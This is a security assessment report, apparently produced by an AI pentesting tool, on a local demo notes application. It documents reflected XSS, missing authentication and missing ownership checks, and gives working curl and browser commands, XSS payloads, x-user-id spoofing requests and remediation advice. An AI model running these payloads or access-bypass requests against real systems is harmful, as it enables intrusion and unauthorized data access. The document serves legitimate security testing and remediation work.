Keygraph

CONFIDENTIAL

Security Assessment Report

TARGET
http://host.docker.internal:4173

DATE
2026-10-14

STATUS
Complete

TESTER
Shannon
AI Pentester by Keygraph

This document contains sensitive security findings. Handle in accordance with your organization's data classification policy.

Contents

Executive Summary 3
Scope 3
Successfully Exploited Vulnerabilities by Type 3
XSS 3
Authentication 3
Authorization 3
Summary 4
Findings Overview 5
XSS Exploitation Evidence (1 finding) 6
XSS-01: Reflected XSS in the /search q Parameter 6
Authentication Exploitation Evidence (1 finding) 7
AUTH-01: Missing Authentication on GET /api/notes/{note_id} 7
Authorization Exploitation Evidence (1 finding) 10
AUTHZ-01: Missing Ownership Authorization on GET /api/notes/{note_id} 10

Executive Summary

Target	http://host.docker.internal:4173
Date	2026-10-14
Tester	Shannon
Assessment Status	Complete

The assessment of http://host.docker.internal:4173 on 2026-10-14 confirmed three low-severity vulnerabilities: reflected cross-site scripting in search, missing authentication on the notes API, and missing ownership authorization for note retrieval. Exploitation demonstrated target-origin JavaScript execution and anonymous and cross-owner access to complete fictional note records, indicating material application-layer risk despite the limited sensitivity and functionality of this demonstration deployment.

Scope

Injection, Cross-Site Scripting (XSS), Authentication, Authorization, Server-Side Request Forgery (SSRF)

Successfully Exploited Vulnerabilities by Type

XSS

- **XSS-01** — Reflected XSS in the /search q Parameter

Authentication

- **AUTH-01** — Missing Authentication on GET /api/notes/{note_id}

Authorization

- **AUTHZ-01** — Missing Ownership Authorization on GET /api/notes/{note_id}

Summary

0	0	0	3
CRITICAL	HIGH	MEDIUM	LOW

Total identified	3
Successfully exploited	3

- 1 XSS
- 1 Authentication
- 1 Authorization

Findings Overview

ID	Title	Category	Severity
XSS-01	Reflected XSS in the /search q Parameter	XSS	LOW
AUTH-01	Missing Authentication on GET /api/notes/{note_id}	Authentication	LOW
AUTHZ-01	Missing Ownership Authorization on GET /api/notes/{note_id}	Authorization	LOW

XSS Exploitation Evidence (1 finding)

XSS-01: Reflected XSS in the /search q Parameter

LOW

OWASP	A05:2025 — Injection
Location	GET http://host.docker.internal:4173/search?q=[PAYLOAD]
Auth state	Unauthenticated
Prerequisites	A victim must navigate to an attacker-crafted /search?q=... URL; no account or authentication is required.
Overview	The public search handler URL-decodes the q parameter and inserts it directly into an HTML h1 element without context-appropriate output encoding. Browser validation confirmed that supplied script and event-handler payloads execute in the application's origin.
Impact	An attacker can execute arbitrary JavaScript under http://host.docker.internal:4173 when a victim follows a crafted search URL. The verified payload replaced the legitimate page body and modified target-origin localStorage; the tested application had no sessions, cookies, or confidential data available to steal.

Exploitation Steps

Step 1 — Confirm raw HTML reflection

Send a script payload through the public q query parameter and inspect the returned headers and body.

```
curl -sS -D /tmp/xss-headers.txt --get \
  --data-urlencode 'q=<script>localStorage.setItem("xss-proof","TARGET_ORIGIN_WRITE"
);document.body.innerHTML="<main id=impact>Trusted page replaced by injected JavaScr
ipt</main>"</script>' \
  'http://host.docker.internal:4173/search'
cat /tmp/xss-headers.txt
```

Step 2 — Execute the payload in Chromium

Navigate a browser to the percent-encoded exploit URL so the reflected markup is parsed in the target origin.

```
playwright-cli -s=agent2 open 'http://host.docker.internal:4173/search?q=%3Cscript%3
ElocalStorage.setItem%28%27xss-proof%27%2C%27TARGET_ORIGIN_WRITE%27%29%3Bdocument.bo
dy.innerHTML%3D%27%3Cmain+id%3Dimpact%3ETrusted+page+replaced+by+injected+JavaScript
%3C%2Fmain%3E%27%3C%2Fscript%3E'
```

Step 3 — Verify target-origin effects

Inspect the live DOM and origin storage in the same browser context, then confirm that the application has no cookies whose theft could be claimed.

```
playwright-cli -s=agent2 eval '({origin:location.origin,url:location.href,impact:doc
ument.querySelector("#impact")?.textContent,marker:localStorage.getItem("xss-proof")
,body:document.body.innerHTML})'
playwright-cli -s=agent2 localstorage-list
```

```
playwright-cli -s=agent2 cookie-list
playwright-cli -s=agent2 close
```

Proof of Impact

1. A Chromium payload sweep produced five successful execution indicators from five payload forms. The final payload ran under the target origin, replaced the page body, and wrote an attacker-selected localStorage marker.

```
{
  "origin": "http://host.docker.internal:4173",
  "impact": "Trusted page replaced by injected JavaScript",
  "marker": "TARGET_ORIGIN_WRITE",
  "body": "<main id=\"impact\">Trusted page replaced by injected JavaScript</main>"
}
```

```
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8

<h1>Search results for <script>localStorage.setItem("xss-proof","TARGET_ORIGIN_WRITE
");document.body.innerHTML="<main id=impact>Trusted page replaced by injected JavaSc
ript</main>"</script></h1>
```

2. The response contained no CSP or CSP-Report-Only header. Browser cookie inspection returned no cookies, so the demonstrated impact is limited to target-origin script execution, DOM replacement, and origin-storage modification rather than session theft.

Remediation

HTML-encode the q value before inserting it into the response, escaping at least &, <, >, double quotes, and single quotes for the target HTML context; preferably render user input through a template engine with automatic contextual escaping or assign it via textContent rather than constructing markup. Add a restrictive Content-Security-Policy that disallows inline scripts and event handlers as defense in depth, but do not use CSP as a substitute for output encoding.

Notes

- The tested build has no login, cookies, session mechanism, or state-changing endpoint. Script, img onerror, svg onload, autofocus/onfocus, and the final DOM/storage payload all executed successfully; the only console error was an unrelated favicon 404.

Authentication Exploitation Evidence (1 finding)

AUTH-01: Missing Authentication on GET /api/notes/{note_id}

LOW

OWASP A07:2025 — Authentication Failures

Location	GET http://host.docker.internal:4173/api/notes/{note_id}
Auth state	Unauthenticated
Prerequisites	None; existing note identifiers can be requested directly without an account, session, or token.
Overview	The notes API performs record lookup and serialization without establishing an authenticated principal. Requests with no credentials, an invalid bearer token, or an arbitrary x-user-id receive the selected note with the same successful response.
Impact	An anonymous external caller retrieved both complete fictional note records, including their owner identifiers and bodies. The endpoint cannot distinguish an unauthenticated caller from either intended owner, so any data placed behind this route is publicly readable when its identifier is known or guessed.

Exploitation Steps

Step 1 — Verify the absence of browser authentication state

Open the application in a fresh browser context and inspect all browser-managed authentication state.

```
playwright-cli -s=agent3 open 'http://host.docker.internal:4173/'
playwright-cli -s=agent3 cookie-list
playwright-cli -s=agent3 localstorage-list
playwright-cli -s=agent3 sessionstorage-list
```

The browser reported no cookies and no localStorage or sessionStorage items.

Step 2 — Retrieve Bob's note anonymously

Request note 2 without Cookie, Authorization, or x-user-id headers.

```
curl --silent --show-error --include --request GET \
  'http://host.docker.internal:4173/api/notes/2'
```

```
HTTP/1.1 200 OK
content-type: application/json

{"note":{"id":"2","ownerId":"bob","body":"Bob demo note"}}
```

Step 3 — Retrieve Alice's note anonymously

Request note 1 in the same unauthenticated state to establish that the bypass reaches both stored users.

```
curl --silent --show-error --include --request GET \
  'http://host.docker.internal:4173/api/notes/1'
```

```
HTTP/1.1 200 OK
content-type: application/json

{"note":{"id":"1","ownerId":"alice","body":"Alice demo note"}}
```

Step 4 — Confirm identity headers are not authenticated

Claim Alice's identity while selecting Bob's note.

```
curl --silent --show-error --include --request GET \
  --header 'x-user-id: alice' \
  'http://host.docker.internal:4173/api/notes/2'
```

```
HTTP/1.1 200 OK
content-type: application/json

{"currentUserId":"alice","note":{"id":"2","ownerId":"bob","body":"Bob demo note"}}
```

Proof of Impact

1. Anonymous requests returned both complete stored note records, including each ownerId and body. A mismatched caller-controlled x-user-id also received Bob's note, while the nonexistent identifier 999 returned 404, confirming that valid stored objects—not a generic fallback—were disclosed.

```
GET /api/notes/2 HTTP/1.1
Host: host.docker.internal:4173

HTTP/1.1 200 OK
content-type: application/json

{"note":{"id":"2","ownerId":"bob","body":"Bob demo note"}}

GET /api/notes/1 HTTP/1.1
Host: host.docker.internal:4173

HTTP/1.1 200 OK
content-type: application/json

{"note":{"id":"1","ownerId":"alice","body":"Alice demo note"}}
```

```
GET /api/notes/2 HTTP/1.1
Host: host.docker.internal:4173
x-user-id: alice

HTTP/1.1 200 OK
content-type: application/json

{"currentUserId":"alice","note":{"id":"2","ownerId":"bob","body":"Bob demo note"}}
```

Remediation

Place the notes route behind server-side authentication middleware that validates a supported credential, such as a securely managed session cookie or signed bearer token, before any object lookup occurs. Return 401 for absent or invalid credentials, derive the principal identifier only from the validated credential, and remove x-user-id as an authoritative identity input; then apply object-level ownership authorization separately before serializing a note.

Notes

- The route is method-agnostic: an anonymous POST to the same URL also returned the selected record. Invalid bearer credentials and arbitrary x-user-id values were accepted, and note 999 returned 404.

Authorization Exploitation Evidence (1 finding)

AUTHZ-01: Missing Ownership Authorization on GET /api/notes/{note_id}

LOW

OWASP	A01:2025 — Broken Access Control

Location	GET /api/notes/{note_id} (also reachable through POST, DELETE, and OPTIONS)
Auth state	Unauthenticated testing with a caller-controlled x-user-id identity label
Prerequisites	Knowledge or discovery of another owner's valid note identifier; no authenticated account is required.
Overview	The API looks up notes globally by the path identifier and never binds the selected object to the caller's identity. As a result, changing only note_id crosses the intended owner boundary in both directions, and method aliases reach the same unscoped lookup.
Impact	Requests claiming Alice's identity read Bob's complete note object, and requests claiming Bob's identity read Alice's complete note object, including each record's ID, owner association, and body. Testing demonstrated read-only cross-owner access; no write, deletion, or denial-of-service impact occurred.

Exploitation Steps

Step 1 — Establish a same-owner baseline

Claim Alice's identity and retrieve note 1, whose ownerId is alice.

```
curl --silent --show-error --include \
  -H 'x-user-id: alice' \
  'http://host.docker.internal:4173/api/notes/1'
```

The endpoint returns 200 OK with currentUserId and note.ownerId both set to alice.

Step 2 — Change only the object identifier

Keep the claimed caller identity fixed as Alice and request Bob's valid note identifier.

```
curl --silent --show-error --include \
  -H 'x-user-id: alice' \
  'http://host.docker.internal:4173/api/notes/2'
```

The endpoint returns Bob's complete note instead of denying access.

Step 3 — Confirm reciprocal cross-owner access

Reverse the claimed identity and object owner by requesting Alice's note while claiming Bob's identity.

```
curl --silent --show-error --include \
  -H 'x-user-id: bob' \
  'http://host.docker.internal:4173/api/notes/1'
```

The response contains Alice's complete note while currentUserId remains bob.

Proof of Impact

1. The external target returned each user's complete note to a request claiming the other user's identity. A same-owner control succeeded and note 3 returned 404, showing that changing to another valid object identifier caused the cross-owner disclosure.

```
GET /api/notes/2 HTTP/1.1
Host: host.docker.internal:4173
x-user-id: alice

HTTP/1.1 200 OK
Content-Type: application/json

{"currentUserId":"alice","note":{"id":"2","ownerId":"bob","body":"Bob demo note"}}
```

```
GET /api/notes/1 HTTP/1.1
Host: host.docker.internal:4173
x-user-id: bob

HTTP/1.1 200 OK
Content-Type: application/json

{"currentUserId":"bob","note":{"id":"1","ownerId":"alice","body":"Alice demo note"}}
```

2. POST, DELETE, and OPTIONS requests to note 2 while claiming Alice's identity reproduced the same 200 response containing Bob's note.

Remediation

After authenticating the caller, enforce ownership in the data-access operation itself—for example, query by both note_id and the server-derived principal ID rather than globally by note_id. Return a consistent 404 or 403 when the selected note is outside the caller's scope, never trust x-user-id as identity, restrict the route to explicitly supported HTTP methods, and add negative tests for Alice-to-Bob, Bob-to-Alice, anonymous, and alternate-method access.

Notes

- The same unauthorized read was confirmed with POST, DELETE, and OPTIONS. These methods are aliases of the same authorization defect and did not mutate or delete records; the two tested records contain fictional demo data.